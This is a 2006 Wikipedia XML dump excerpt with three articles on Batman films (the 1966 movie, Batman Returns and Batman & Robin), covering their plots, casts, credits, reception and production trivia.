This big screen spin-off of the popular Batman televison series, [[Adam West]]'s '''''Batman''''' was the first full-length theatrical adaptation of the [[DC Comics]] character.  It was later to acquire the video-box title ''Batman: The Movie''.  The [[20th Century Fox]] release starred [[Adam West]] as Batman and [[Burt Ward]] as Robin. Filmed at the end of season one of the ABC [[primetime]] [[Batman (1960s TV series)|''Batman'' TV series]] of the 1960s (between [[April 25]] and [[May 31]], [[1966]] at an estimated $1,377,800), it featured four main criminals from the show, including &quot;fiendish funnyman&quot; [[Joker (comics)|the Joker]] ([[Cesar Romero]]), The &quot;riddling&quot; [[Riddler]] ([[Frank Gorshin]]), that &quot;fowl bird&quot; [[Penguin (comics)|The Penguin]] ([[Burgess Meredith]]), and the &quot;fiendish feline&quot; [[Catwoman]] ([[Lee Meriwether]]).  It was directed by [[Leslie H. Martinson]], who won a [[Golden Gryphon]] for his efforts.  

The 105-minute ''Batman'' opened at [[Paramount Theatre, The (Austin, Texas)|The Paramount Theatre]] in [[Austin, Texas]] on Saturday, [[July 30]], [[1966]] (between the first and second seasons of the [[Batman (1960s TV series)|TV series]]. Like the television series, the movie featured saturated colours, [[campy]] [[dialogue]] and special effects, and over-exaggeration in acting performances, effectively being a [[tongue-in-cheek]] [[parody]].  It performed poorly at the box office and is despised by many fans of the [[gothic horror]] &quot;Creature of the Night&quot; [[Batman]]. 

==Plot summary==
{{Spoiler}}
When Batman ([[Adam West|West]]) and Robin ([[Burt Ward|Ward]]) get a tip that Commodore Schmidlapp is in danger aboard his yacht, they launch a rescue mission. After a tangle with an exploding shark, Batman and Robin head back to Commissioner Gordon's office where, by case of deduction and wisdom, they figure out that that the tip was a set-up by four of the most powerful villains ever (Joker, Penguin, Riddler and Catwoman), who seek to defeat the Dynamic Duo once and for all.
Armed with a dehydrator that can turn humans into dust, and a Navy surplus submarine, the &quot;fearsome foursome&quot; intends to take over the world, and Batman and Robin must stop them.

==Cast==
* [[Adam West]] - Batman/Bruce Wayne
* [[Burt Ward]] - Robin/Dick Grayson
* [[Cesar Romero]] - Joker
* [[Frank Gorshin]] - The Riddler
* [[Burgess Meredith]] - The Penguin
* [[Lee Meriwether]] - Catwoman/Miss Kitka
* [[Alan Napier]] - Alfred
* [[Neil Hamilton (actor)|Neil Hamilton]] - Commissioner Gordon
* [[Stafford Repp]] - Chief O'Hara
* [[Madge Blake]] - Aunt Harriet
* [[Reginald Denny (actor)|Reginald Denny]] - Commodore Schmidlapp
* [[Milton Frome]] - Admiral Schmidlapp
* [[Gil Perkins]] - Bluebeard
* [[Dick Crockett]] - Morgan
* [[George Sawaya]] - Quetch
*[[William Dozier]] - Desmond Doomsday the Narrator

==Credits==
* A [[William Dozier]] Production
* Music by [[Nelson Riddle]]
* Associate Producer Charles B. FitzSimons
* Director of Photography: Howard Schwartz, A.S.C.
* Art Directors: Jack Martin Smith, Serge Krizman
* Set Decoration: Walter M. Scott, Chester L. Bayhi
* Unit Production Manager: Sam Strangis
* Assistant Directors: William Derwin, David Whorf
* Film Editor: [[Harry Gerstad]], A.C.E.
* Special Photographic Effects: L.B. Abbott
* Sound: Roy Meadows, Harry M. Leonard
* Makeup by Ben Nye, Bryce Hutchinson
* Hair Styles Supervised by Margaret Donovan
* Batman Theme by [[Neal Hefti]]
* Orchestration by Gil Grau
* Second Unit Director: Ray Kellogg
* Second Unit Photography: Jack Marta
* Aerial Photography: Nelson Tyler
* Batboat: [[Glastron]]
* Main Title by Richard Kuhn and National Screen Service
* Color by [[DeLuxe]]
* Written by [[Lorenzo Semple Jr.]] -  Based upoon the characters created by Bob Kane 
appearing in [[Batman]] and [[Detective Comics]] Magazine published by National 
Periodical Publications, Inc.
* Produced by [[William Dozier]]
* Directed by Leslie H. Martinson

==External links==
{{wikiquote}}
*{{imdb title|id=0060153|title=Batman (1966)}}
* [http://www.batmanytb.com/movies/60/index.php Batman The Movie @ BYTB: Batman Yesterday, Today and Beyond]

{{Batmanmovies}}
[[Category:1966 films]]
[[Category:Batman films]]
[[Category:Cult films]]
[[Category:Films based on television series]]
[[Category:20th Century Fox films]]</text>
    </revision>
  </page>
  <page>
    <title>Batman Returns</title>
    <id>4728</id>
    <revision>
      <id>42088676</id>
      <timestamp>2006-03-03T19:25:02Z</timestamp>
      <contributor>
        <ip>84.105.3.161</ip>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     =Batman Returns |
  image          = batman_returns_ver3.jpg|
  producer       =[[Tim Burton]]&lt;br&gt;[[Denise Di Novi]] |
  writer         = [[Daniel Waters (writer)|Daniel Waters]] (screenwriter)&lt;br&gt;[[Daniel Waters (writer)|Daniel Waters]] (story)&lt;br&gt;[[Sam Hamm]] (story)&lt;br&gt;[[Bob Kane]] (comic book)&lt;br&gt; |
  starring       = [[Michael Keaton]]&lt;br&gt;[[Danny DeVito]]&lt;br&gt;[[Michelle Pfeiffer]]&lt;br&gt;[[Christopher Walken]] |
  director       = [[Tim Burton]]|
  distributor    =[[Warner Bros.]] |
  released   =[[June 16]], [[1992]] |
  runtime        = 126 min. |
  language = English |
   music          = |
  awards         = |
 budget         = $80,000,000 |
  imdb_id            = 0103776 |
}}

'''''Batman Returns''''' is both the second [[Tim Burton]] [[Batman]] movie and the second Batman film starring [[Michael Keaton]] as the title character.  This time, Batman meets  [[Penguin (comics)|The Penguin]] ([[Danny DeVito]]), [[Catwoman]] ([[Michelle Pfeiffer]]) and [[Max Shreck]] ([[Christopher Walken]]).  It was released in theaters on [[June 19]], [[1992]].  The score by [[Danny Elfman]] creates a [[gothic horror|gothic]] atmosphere by combining strings and children's choruses.  The film is considered the darkest installment in the franchise and contains most of the artistic, theatrical, and fantastic elements often attributed to Tim Burton. 

In 1992, as part of the publicity campaign to promote the movie, [[Warner Bros.]] produced the [[animated series]] ''[[Batman: The Animated Series]]''.  This movie, as its predecessor, was a huge success, although some fans complained it was &quot;too weird&quot;.  Film critic [[Leonard Maltin]] accused ''Batman Returns'' of being a &quot;nasty, [[Nihilism|nihilistic]], [[nightmare]] movie&quot; with a dark, mean-spirited, and often incoherent screenplay.  Today, however, a significant portion of the Batman movie fanbase regards this as one of the best films of the [[Tim Burton]]/[[Joel Schumacher]] Batman franchise precisely because of the very qualities for which Maltin criticized it.  A sequel, ''[[Batman Forever]]'' was produced in [[1995]].

==Synopsis==
{{spoiler}}

It is [[Christmas]] in [[Gotham City]].  A twisted penguin-man, the heir of the [[aristocrat]]ic Cobblepot family, abandoned to the sewers by his parents shortly after birth, is determined to regain his birthright.
:&quot;I was their number [[1 (number)|1]] son, but they treated me like [[feces|number 2]].&quot; -''The Penguin, after visiting his parents' graves''.
Max Shreck, a corrupt millionaire, wants to build a giant energy-stockpiling capacitor (disguised as a new power plant) for Gotham City as a legacy for his son to inherit, but is stymied in his goals by [[Bruce Wayne]] and the Mayor of Gotham City. 

[[Image:keaton.jpg|thumb|250px|left|[[Michael Keaton]] as [[Bruce Wayne]] in ''Batman Returns'']]

Abducted by the Penguin's '''Red Triangle Circus''' gang, Shreck agrees to help the Penguin re-enter normal society and ease his acceptance by the surface world.  Once the Penguin's tragic story wins over Gotham City, Shreck encourages him to run for Mayor, confident that he can be more easily manipulated than the current Mayor to approve his &quot;power plant.&quot;

In order to replace the current Mayor, the people of Gotham must lose faith in his ability to keep order.  The Penguin's '''Red Triangle Circus''' provides the necessary emergency, with the help of Selina Kyle, Shreck's harassed secretary - nearly killed by her boss when she uncovered his plans for the capacitor and revived as Catwoman, a sexy [[vinyl]]-costumed criminal. She also has a love/hate relationship with Bruce Wayne as Selina, her only real grip on her sanity, and the Batman as Catwoman. As the film progresses Selina/Catwoman's sanity and mental stability deteriorates, symbolically reflected in her costume: the costume represents an outer body or shell that protects her inner body and represents her unleashed power, with her inner body representing her mind; as her skin tight black costume continues to rip and tear from abuse, more of her svelte but fragile inner body is exposed, and the exposure of her &quot;damaged&quot; body metaphorically refers to the exposure of her damaged mind. It is left up to Batman, who has won the favor of the police and of the City since defeating the [[Joker (comics)|Joker]] three years ago, to stop the riots, expose Shreck's schemes, and save Selina from herself, ultimately her own worst enemy.  He must also contend with the Penguin's horrific true motivations for returning to the surface world.

==Cast==
*''Batman / Bruce Wayne'': Michael Keaton
*''The Penguin / Oswald Cobblepot'': Danny DeVito
*''Catwoman / Selina Kyle'': Michelle Pfeiffer
*''Max Shreck'': Christopher Walken	
*''[[Alfred Pennyworth]]'': [[Michael Gough]]
*''Ice Princess'': [[Cristi Conaway]]
*''[[James Gordon (comics)|Commissioner Gordon]]'': [[Pat Hingle]]
*''Mayor'': [[Michael Murphy (actor)|Michael Murphy]]
*''Organ Grinder'': [[Vincent Schiavelli]]

==Box office and reaction==
This $80 million movie earned nearly $163 million domestically and $104 million abroad.  Although it earned less than the original, it was nevertheless the most successful movie of summer 1992 and third-best of the year (next to ''[[Aladdin (1992 film)|Aladdin]]'' and ''[[Home Alone 2: Lost in New York]]'').  The overall critical reaction was mixed, but many consider it to be the best of the ''Batman'' films.  [[Danny Elfman]]'s music still obtained a favorable reception and Michael Keaton was well-received once again for his melancholic, brooding, semi-psychotic take on Batman and Bruce Wayne. Danny DeVito and Michelle Pfeiffer caught the audience's attention with their enjoyably grotesque portrayals of the Penguin and Catwoman, and the movie's production design and special effects also made a positive contribution. But parents were still concerned with the movie's nearly black-and-white atmosphere, which was even more solemn and morbid than the 1989 original.  Moreover, comic fans were upset by the significant deviations in character that Burton projected onto the movie. While Batman had been seen killing criminals on occasion in the 1989 original, ''Batman Returns'' showed him using lethal force regularly against his foes, a clear departure from the &quot;modern&quot; version of the character.  Similarly, the transformation of the Penguin from an urbane, pragmatic thief into a disturbed, homicidal maniac upset many fans.

Alternatively, however, ''Batman Returns'' is hailed by many as a rich, modern [[Expressionist]] motion picture, which disguises a rich character study of Batman, reflected in his foes and his environment. And the lethal force and much darker Batman perfectly reflects Bob Kane's original 1939 treatment of the character, who was quite lethal, and very dark. Since the release of the 2005 special edition DVDs of the Burton Batman films, it has been revealed that the original 1939 comics were used by Burton as his basis, which explains Batman being far darker and more lethal to his foes than the &quot;modern&quot; (and more preferred) interpretation.

==On DVD==
[[Image:returns2disc.jpg|right|thumb|128px||Cover of the 2-disc Special Edition DVD]]

''Batman Returns'' was given a &quot;bare bones&quot; [[DVD]] release when the medium was introduced in [[1997]]. However, in [[2005]], the newest feature film, ''[[Batman Begins]]'', inspired Warner Bros. to release a Two-Disc Special Edition set of all four Burton-Schumacher films in ''Batman: The Motion Picture Anthology 1989-1997''.

Features of the Special Edition DVD include:

*Digitally Remastered Anamorphic Widescreen Transfer
*English [[Dolby Digital]] 5.1 Surround Track
*English [[Digital Theatre System|DTS]] 5.1 Surround Track
*Audio Commentary with Director Tim Burton
*The Bat, The Cat, and The Penguin Cast Recollections
*Shadows of the Bat: The Cinematic Saga of the Dark Knight Part 4: The Dark Side of the Dark Knight
*Beyond Batman Documentary Gallery Including:
**Gotham City Revisited: The Production Design of Batman Returns
**Sleek, Sexy, and Sinister: The Costumes of Batman Returns
**Making Up The Penguin
**Assembling the Arctic Army
**Bats, Matte's and Dark Nights: The Visual Effects of Batman Returns
*&quot;Face to Face&quot; Music Video by [[Siouxsie &amp; the Banshees]]
*The Heroes and The Villains Profile Galleries
*Batman Returns Theatrical Trailer

==Writing the film==
* Neither Tim Burton nor Michael Keaton had been signed up in advance for a sequel; Burton came on board only after the script met all his demands (he hadn't been entirely happy with the first film's screenplay), whilst Keaton was willing to portray the character again with a good script and Tim Burton directing to give him a &quot;comfort zone,&quot; as he called it in a 1992 interview.
* The first script draft of ''Batman Returns'' was intended to be a direct-sequel to the previous film. As a result, sub plots and continuity from the first film that would have been addressed included gift shops selling fragments of the destroyed Bat-Wing, further revelations into the past of the now deceased Jack Napier a.k.a [[Joker (comics)|Joker]], and even Bruce Wayne proposing to [[Vicki Vale]] by the end of the film. However, Tim Burton was uncomfortable in making a direct sequel and as a result, the script was rewritten. However, several plot elements from the original script did make it into the final draft. This included the Penguin and Catwoman's alliance, their framing of Batman, and the Dark Knight's escape via Bat-Glider. Further elements even made their way into the third film, ''[[Batman Forever]]'' ([[1995 in film|1995]]), most notably the storming of Wayne Manor and the Batcave.
* [[Sam Hamm]]'s original screenplay draft had The Penguin and Catwoman going after hidden treasure. Dissatisfied with that, Tim Burton brought in [[Daniel Waters (writer)|Daniel Waters]], writer of ''[[Heathers]]'' (1989), who came up with the concept of an evil mogul backing a bid for the Mayor's office by The Penguin.
* In an another version of the script, [[Two-Face|Harvey Dent]] was set to appear in the movie, played by the same actor as in the first movie, [[Billy Dee Williams]]. He was going to be used in the [[Max Shreck]] role, and the scarring of his face (which would turn him into the villain Two-Face) was set to happen during the finale when Catwoman kisses him while holding onto the Penguin's generator. (This would then, in turn, set up the [[Batman Forever|third movie]], in which Two-Face was going to appear as the main villain.)
* The plot about the Penguin becoming mayor was borrowed from the episodes ''&quot;Hizzoner the Penguin/Dizzoner the Penguin&quot;'' in the Batman TV show.
* In [[Tom Mankiewicz]]'s script for the first movie, that featured The Penguin, he was described as &quot;a tall, proper-looking, thin man&quot;.
* In another version of the script, Max Shreck was discovered to be the [[Penguin (comics)|Penguin]]'s older brother. 
* An unproduced script featured [[Robin (comics)|Robin]] as a [[homeless]] boy [[vigilante]] whom Batman takes in as his sidekick. Producers considered using Robin in the first film and had even cast an actor in the role, but they eventually dropped the character altogether. [[Marlon Wayans]] was one of the people rumored to have been considered for the part in this movie.
* Screenwriter [[Wesley Strick]] performed an uncredited re-write on the film's screenplay.

== Casting the film==
* This is the second time Michael Keaton and Danny DeVito were in a movie together. They first worked together in ''[[Johnny Dangerously]]''.
* [[Annette Bening]] was cast as Catwoman, but was replaced by Michelle Pfeiffer when she became pregnant.
* [[Lena Olin]] was considered for the role of Catwoman.
* [[Madonna (entertainer)|Madonna]] was reportedly considered for the role of Catwoman.
* [[Sean Young]] very much wanted the role of Catwoman. During pre-production she arrived at the studio in a Catwoman costume to confront the makers of the movie. She used other people scouting the studio grounds, using walkie-talkies to communicate, to track down the producers. Tim Burton, who is a tall man, hid behind his desk so as to avoid seeing her.
* Michelle Pfeiffer's $3 million salary was $2 million more than was offered to Annette Bening.
* [[Dustin Hoffman]] was Warner Brothers' first consideration for the Penguin.
* Burgess Meredith (the original Penguin from ''[[Batman (TV series)|Batman]]'' (1966/II)) was asked to play The Penguin's father at the beginning of the movie, he accepted, but couldn't play him due to illness.  In Batman Returns, when The Penguin first decides to run for mayor, someone puts a cigarette in his mouth, with a cigarette holder (a reference The Penguin from the Batman TV show).
* [[Christopher Walken]]'s character's name is [[Max Shreck]]. The real-life actor [[Max Schreck]] played the first vampire in movie history in ''[[Nosferatu|Nosferatu, eine Symphonie des Grauens]]'' (1922).
* Christopher Walken, remembering a film he'd seen earlier, requested from director Tim Burton cufflinks made of human molars. He got them, and wore them in the film as the villain, Max Shreck. (The movie, incidentally, was ''[[The Great Gatsby]]'' (1974) where the molar cufflinks are worn by the friend of Gatsby who fixed the [[1912 World Series]].)
* [[Paul Reubens]] and [[Diane Salinger]] from ''[[Pee-wee's Big Adventure]]'' ([[1985 in film|1985]]) reunite briefly at the beginning of the film as The Penguin's father and mother.

== Making the film ==
* When Batman takes off his mask to reveal to Catwoman that he is Bruce Wayne, the scene jumps from eye shadow on Keaton to him not having eye shadow.
* The movie is approximately 127 mins. long, making it the longest Batman film until [[2005 in film|2005]], with the release of ''[[Batman Begins]]''.
* Unlike the first film, [[Michael Keaton]] performed all of the fighting as Batman himself, in costume., as opposed to the first film, where Keaton and his stuntman/personal trainer David Lea shared the fighting duties.
* This film is the first US theatrical film to be released with a [[Dolby Digital]] (AC-3) soundtrack.
* The Batman costume weighed 55 lbs. Several modifications were made to the Batsuit, including the color scheme and chestplate logo. At the request of Michael Keaton, the codpiece was altered so that it opened to reveal a zipper, a much appreciated convenience.
* At least 50% of the Warner Brothers lot was taken up with [[Gotham City]] sets.
* The massive Gotham City sets were all constructed to be mobile, and were often shifted between days of filming. Michelle Pfeiffer routinely got lost on her way to filming each day.
* The set for The Penguin's underground lair was filled with half a million gallons of water and a simulated ice floe island.
* It made $47.7 million in its first 3 days, a record at the time.

== Trivia == 
* In the [[United States of America|US]], [[McDonald's]] was forced to cancel a [[Happy Meals]] promotion with the film, after parents protested about its violent and sexual nature being inappropriate for young children.
* Security was so tight on the production that even [[Kevin Costner]] was refused permission to visit the set. Warner Brothers employed a private investigator firm when some shots of Danny DeVito in costume made it into the tabloids.
* Danny DeVito was forbidden to describe The Penguin's makeup to anyone, including his family. He spent two hours a day in make-up.
* The crew had a hard time getting the shot where the monkey delivers the letter from Batman to the Penguin. Evidently, Danny DeVito's make-up terrified the animal.
* Danny DeVito refused a stand-in during the scene where the enguin gets pummeled with vegetables.
* The Penguin's line: ''&quot;I am an animal. I am *not* a human being,&quot;'' is a work on John Hurt's line: ''&quot;I am not an animal! I am a human being! I am a man!&quot;'' as [[John Merrick]] in ''[[The Elephant Man (film)|The Elephant Man]]'' (1980).
* During the scene where Penguin's henchmen are wrecking a shop, there is a reprise of the &quot;Making Christmas&quot; theme from ''[[The Nightmare Before Christmas]]'' ([[1993 in film|1993]]), which Danny Elfman also composed. Ironically, in The Nightmare Before Christmas, the Penguin's motif can be heard when Lock, Shock and Barrel bring in the [[Easter Bunny]]
* Michelle Pfeiffer got through 60 catsuits during the 6 month shoot, at a cost of $1,000 a time.
* In order to get the cats to surround Selina when she's knocked out, the filmmakers put tuna on a dummy version of Selina and tuna on Selina's suit.
* When Selina is sitting at the desk in Max's office, the light casts a shadow through her eyeglass frames, creating the outline of the pointed mask Catwoman wore in the original [[DC Comics|DC]] comic.
* Warner Bros. had to constantly submit new Catwoman posters for various cities as many of the bus stop ads were being stolen. It soon got so bad that police officers had to patrol bus stops in order to catch perpetrators before they could break the Plexiglas containers. Today the large scale Catwoman bus ads are worth a great deal of money.
* During an [[A&amp;E Network|A&amp;E]] ''[[Biography (television program)|Biography]]'' centered on Catwoman, Michelle Pfeiffer said that her Catwoman costume was vacuum sealed once she was fitted into it for scenes, so she actually had only a short amount of time to perform before she would have to have it opened or she could become light headed and pass out. She also admitted that when she first was learning to use the whip she accidentally cut her trainer's face with it, at which he acted as a complete gentleman and continued with their training.
* The production wanted to use King Penguins but the only tame ones in captivity were at a bird sanctuary in the Cotswolds deep in the English countryside. So the birds were flown over to the States in the refrigerated hold of a plane, they were given their own refrigerated trailer, their own swimming pool with half a ton of fresh ice every day, and had fresh fish delivered daily straight from the docks. Even though the temperature outside frequently topped 100 degrees (Fahrenheit), the entire set was refrigerated down to 35 degrees(Fahrenheit). The birds also had a round-the-clock bodyguard. Clearly the birds enjoyed the experience as, following their stint in Hollywood, most of them had mated and produced eggs - the sure sign of contented penguins.
* In the crowd waiting outside of the cemetary, there is a man wearing a Go-Go jacket. Go-Go was a character on the Warner Brothers cartoon ''[[Tiny Toon Adventures]]'' (1990).
* WILHELM SCREAM: Before Batman straps the dynamite to the fat clown, he hurls a goon over a bridge. As the goon flies through the air, he screams the famous [[Wilhelm scream]].
* [[Dan Waters]]' original script originally had the Bat-Signal blinking on and off at the end of the film as a sign that Selena's electrocution of Max had disrupted the power supply of the city. Tim Burton instead opted to end the film with Catwoman looking out at the signal over a snowy sky, hinting at her survival and possible appearance in a future film.
* The final shot of the film, in which Catwoman is seen looking at the Bat-signal, was added as an afterthought, literally weeks before the film opened. The shot had to be filmed on a weekend, less than a day after conception, with a double for Michelle Pfeiffer. That single shot cost $250,000.

==See also==
*[[Batman Returns (video game)]]

==External links==
{{wikiquote}}
*[http://www.filmtracks.com/titles/batman_returns.html Batman Returns score by Danny Elfman]
*{{imdb title|id=0103776|title=Batman Returns}}
*[http://www.bullz-eye.com/mguide/reviews_1992/batman_returns.htm Batman Returns review, Batman Returns DVD review]
* [http://www.batmanytb.com/movies/batmanreturns/index.php Batman Returns @ BYTB: Batman Yesterday, Today and Beyond]

{{Batmanmovies}}
{{Tim Burton Films}}

[[Category:1992 films]]
[[Category:Films directed by Tim Burton]]
[[Category:Warner Bros. films]]
[[Category:American films]]
[[Category:Sequel films]]

[[de:Batmans Rückkehr]]
[[es:Batman Returns]]
[[fr:Batman, le défi]]
[[pt:Batman Returns]]
[[ru:Возвращение Бэтмена (фильм)]]
[[sk:Batman sa vracia]]
[[fi:Batman – paluu]]
[[sv:Batman 2 - återkomsten]]</text>
    </revision>
  </page>
  <page>
    <title>Batman and Robin (1997 film)</title>
    <id>4729</id>
    <revision>
      <id>42145231</id>
      <timestamp>2006-03-04T02:57:10Z</timestamp>
      <contributor>
        <ip>68.58.123.201</ip>
      </contributor>
      <text xml:space="preserve">:''For the 1949 serial ''Batman and Robin'', see [[Batman serials]].''
''The correct title of this article is '''Batman &amp; Robin (1997 film)'''. It appears here with an &quot;and&quot; in replacement due to the ampersand not being compatible with [[Uniform Resource Locator|Internet URLs]].''
{{Infobox Film |
  name         = Batman &amp; Robin |
  image              = Movie_dvd_cover_batman_and_robin.jpg |
  writer             = [[Akiva Goldsman]] |
  starring           = [[George Clooney]]&lt;BR&gt;[[Chris O'Donnell]]&lt;BR&gt;[[Arnold Schwarzenegger]]&lt;br&gt;[[Uma Thurman]]&lt;BR&gt;[[Alicia Silverstone]]&lt;BR&gt;[[Elle Macpherson]] |
  director           = [[Joel Schumacher]] |
  producer           = [[Peter MacGregor-Scott]] |
  movie_music        = [[Elliot Goldenthal]] |
  distributor        = [[Warner Bros.]] |
  released       = [[June 20]], [[1997]] ([[United States|USA]]) |
  runtime            = 125 min. |
  language     = [[English language|English]] |
  budget             = $125 million |
  music          = |
  awards         = |
  imdb_id            = 0118688 |
}}
'''''Batman &amp; Robin''''', directed by [[Joel Schumacher]], is the fourth installment in the [[comic book]]-inspired [[film]] series initiated by [[Tim Burton]].  Released in [[1997 in film|1997]], it starred [[George Clooney]] in his only appearance as [[Batman]] and [[Chris O'Donnell]] returning as [[Robin (comics)|Robin]], and introduced [[Batgirl]] ([[Alicia Silverstone]]), a niece of Bruce Wayne's butler [[Alfred Pennyworth|Alfred]] ([[Michael Gough]]).  The villains in this movie are [[Poison Ivy (comics)|Poison Ivy]], played by [[Uma Thurman]], and [[Mr. Freeze]], played by [[Arnold Schwarzenegger]] (who received top billing for this film).
==Cast==
*''Batman / Bruce Wayne'': [[George Clooney]]
*''Mr. Freeze / Dr. Victor Fries'': [[Arnold Schwarzenegger]]
*''Robin / Dick Grayson'': [[Chris O'Donnell]]
*''Poison Ivy / Dr. Pamela Isley'': [[Uma Thurman]]
*''[[Batgirl]] / Barbara Wilson'': [[Alicia Silverstone]]
*''[[Alfred Pennyworth]]'': [[Michael Gough]]
*''[[James Gordon (comics)|Commissioner Gordon]]'': [[Pat Hingle]]
*''[[Bane (comics)|Bane]]'': [[Robert Swenson|Jeep Swenson]]
*''[[Julie Madison]]'': [[Elle MacPherson]]
*''[[Nora Fries]]'': [[Vendela Kirsebom]] (as Vendela K. Thommessen)
==Response==
The film was neither a [[film criticism|critical]], {{ref|ReviewsFromCritics}} nor a [[box office]] success.  In his [[review]] of the film, critic [[Leonard Maltin]] found that &quot;the 'story' often makes no sense&quot; and that the &quot;action and effects are loud, gargantuan, and ultimately numbing.&quot;

This film is often billed as the worst superhero movie of all time. The director [[Joel Schumacher]] also reputedly admits to not being proud of this film, despite earlier statements to the contrary.  The film was mocked for a poor script, over-extending the [[Camp (style)|campy]] attitude of the previous installment ''[[Batman Forever]]'', the poor casting of other &quot;big-name&quot; stars [[Uma Thurman]] and [[Arnold Schwarzenegger]], and the addition of a poorly portrayed Batgirl, played by [[Alicia Silverstone]]. 

Published financial figures indicate that the movie was made on a budget of [[United States dollar|US$]]125 million {{ref|ProductionBudget}}, collecting $107 million domestically — less than any other Batman film — and $131 million abroad {{ref|WorldwideBoxOffice}}.  Studios usually expect summer movies — particularly those in a highly successful series — to earn more profit than that, and [[Warner Bros.]] temporarily suspended the series after four live-action films.  

The film was derisively dubbed ''Batman on Ice'' by some critics (for a scene in which the titular heroes both inexplicably have retractable skate blades hidden inside their boots) {{ref|BatmanOnIce-1}} {{ref|BatmanOnIce-2}} {{ref|BatmanOnIce-3}}. [[George Clooney]] was himself severely embarrassed by the film, and has repudiated it publicly a number of times.  Like his predecessor [[Val Kilmer]], he was criticized for being too stiff to play a comic-book character.  [[Alicia Silverstone]] ([[Batgirl]]) was called more of a forced extra than a real character, placed in to counter the conservative criticisms about its predecessor's subtle homosexual references (mostly Batman's &quot;homoerotic&quot; suit with nipples). The Batgirl solution also previously used in the comic books and the [[Batman (TV series)|TV series]], which had previously caused the [[1960s]] show to lose quality.  More negativity was put on [[Uma Thurman]], who plays [[Poison Ivy (comics)|Poison Ivy]], for portraying a character that was viewed to be even more cartoonish than the [[Riddler]] and [[Two-Face]], the main villains from the previous film (and some even complained about her supposedly [[blasphemy|blasphemous]] quotes: &quot;Let's see if I can do better [than God]&quot;).  The return of the universally derided Bat-nipples (again, save the special &quot;finale&quot; suit) and also those in Robin's, as well as the humorous close-ups on all three heroes continued to stir controversy.

Many fans were also upset at the inclusion and depiction of [[Bane (comics)|Bane]] in this movie (played by the late wrestler [[Robert Swenson|Jeep Swenson]]), on the grounds that he was a minor character depicted as a brainless bodyguard for the main villains (as opposed to the calculating, educated and manipulative genius of the comics).  Many fans agree that given Bane's importance in the books as a villain, he should have appeared as the main villain in a Batman movie.
[[Image:Jeep Bane.jpg|thumb|250px|left|[[Bane (comics)|Bane]] in '''''Batman and Robin''''']]
==Legacy==
The impact of this film was multifold.  With the possible exception of [[Arnold Schwarzenegger]], all the principal performers involved lost credibility for some time as serious actors.  [[George Clooney]] has gone so far as to say that he will refund the money of any fan he meets who paid to see the movie.  [[Joel Schumacher]] found his already tenuous artistic reputation all but ruined, and Warner Bros. was the focus of much derision for producing the film.  [[Alicia Silverstone]], already battered by widespread media circulation about her increased body weight, disappeared temporarily from the limelight and gained a reputation, for a while, as a &quot;has been.&quot; 

Fans of the successful [[animated television series]], ''[[Batman: The Animated Series]],'' voiced suspicions that the reason that the [[direct-to-video]] feature ''[[Batman &amp; Mr. Freeze: SubZero]]'' ([[1998 in film|1998]]) was delayed was because of the Schumacher film.  This, they contend, was because the Warner Brothers management knew it was superior to the live-action film and decided to delay it to prevent unfavorable comparisons to a film in which they had greater financial stake.  This allegation, and the fact that the scenes that Batman fans generally thought were the best in the film were largely taken from the animated series (the angle of Freeze committing crimes for the sake of saving his wife is straight from [[Paul Dini]] and [[Bruce Timm]]'s show), convinced many Batman fans that the ''Animated Series'' producers should have been responsible for the live action film series.

However, it has since been argued that the film's dismal failure was, in the long run, a boon for comic book films, as the comedic angle taken to the source material by the makers of the film was so unpopular that other filmmakers would be encouraged to treat the source material with more reverence in their own films.  This attitude has led to successful and acclaimed film adaptations such as ''[[Blade (movie)|Blade]]'' (1998), ''[[X-Men (film)|X-Men]]'' ([[2000 in film|2000]]), ''[[Ghost World (movie)|Ghost World]]'' (2000), ''[[Spider-Man (film)|Spider-Man]]'' ([[2002 in film|2002]]) and ''[[Road to Perdition]]'' (2002)

''Batman &amp; Robin'' marked the end of the [[Tim Burton]]/[[Joel Schumacher]] era of movies.  Likely due to the film's poor reception, no more Batman movies were made for nearly eight years.  A new Batman franchise was relaunched in [[2005 in film|2005]], with ''[[Batman Begins]]'', a much darker and more successful film both critically and financially ($366 million worldwide gross as of [[September 4|09/04]]/[[2005]]), with no continuity to Burton's nor Schumacher's movies.  George Clooney obviously did not intervene in the project and was succeeded by the much-younger [[Christian Bale]], who was widely praised for his portrayal of both Bruce Wayne and his alter ego.

On [[October 18]], [[2005]], Warner Bros. released a new deluxe DVD for the movie with commentary by Schumacher.  The commentary has gotten attention for Schumacher's candid comments on how he was forced to put in gadgets so the toy companies would have something to make, admits he went too far trying to make the movie kid-friendly and at one point, even flat-out apologizes for the entire film.
==Trivia==
* The Batman costume weighed 14.5 lb.
* The Batgirl costume weighed 12 lb.
* The Robin costume weighed 14 lb.
* The Mr. Freeze costume weighed 75 lb.
* [[Patrick Stewart]] and [[Sylvester Stallone]] were considered for the role of Mr. Freeze.
* A new form of light foam rubber was used to make the superhero costumes. This helped the costumes weigh less than on any other Batman film, but they ripped and tore very easily.
* Batgirl had a full-head costume designed for her much like Batman's (complete with pointy ears) in this movie, but it was rejected in favor of letting Alicia Silverstone's hair flow freely (except in one scene where she wears it as a crash helmet). Batgirl action figures designed for the movie reflect the full-head costume, before the toy makers were informed of the change.
* The sign on a club reads &quot;The Head Room&quot; just before the scene in which Alfred's computer likeness talks to Barbara in a manner resembling [[Max Headroom]].
* Cast member [[John Glover]] also performs the voice of [[The Riddler]] in the animated Batman series.
* The disease &quot;MacGregor Syndrome&quot; was named after producer [[Peter MacGregor-Scott]].
* During the scene where Batman and Robin bid for Poison Ivy, Batman pulls out his credit card. Its expiration date: FOREVER, a reference to Batman Forever (1995).
* Dr. Jason Woodrue appeared in DC Comics as another plant themed super-villain, first as a mad scientist and later as [[The Floronic Man]].
* Dr. Woodrue creates Bane with what he calls his &quot;Super Soldier Serum.&quot; This is a reference to the origin of the [[Marvel Comics]] character [[Captain America]]. Created in the early 1940s (under Marvels' previous incarnation as Timely Comics), Captain America was Steve Rogers, a man too frail to enlist to fight in [[World War II]]. He agreed to subject himself to the Super Soldier Serum which heightened every ability and sense to the highest human limits. Of course, as these things go, the doctor who created the formula was promptly killed and Captain America would be the only Super Soldier. Despite Timely/Marvel having been a somewhat popular line at the time, Captain America was wildly successful, rivaling [[Superman]], [[Captain Marvel]], Batman, and [[Wonder Woman]] in popularity.
* Clooney injured his lower leg playing basketball during shooting. Because of this, he needed to cut the boot off of the Bat-suit in order to wear a cast. You can tell when his leg was injured from his limping while inside the freeze rocket.
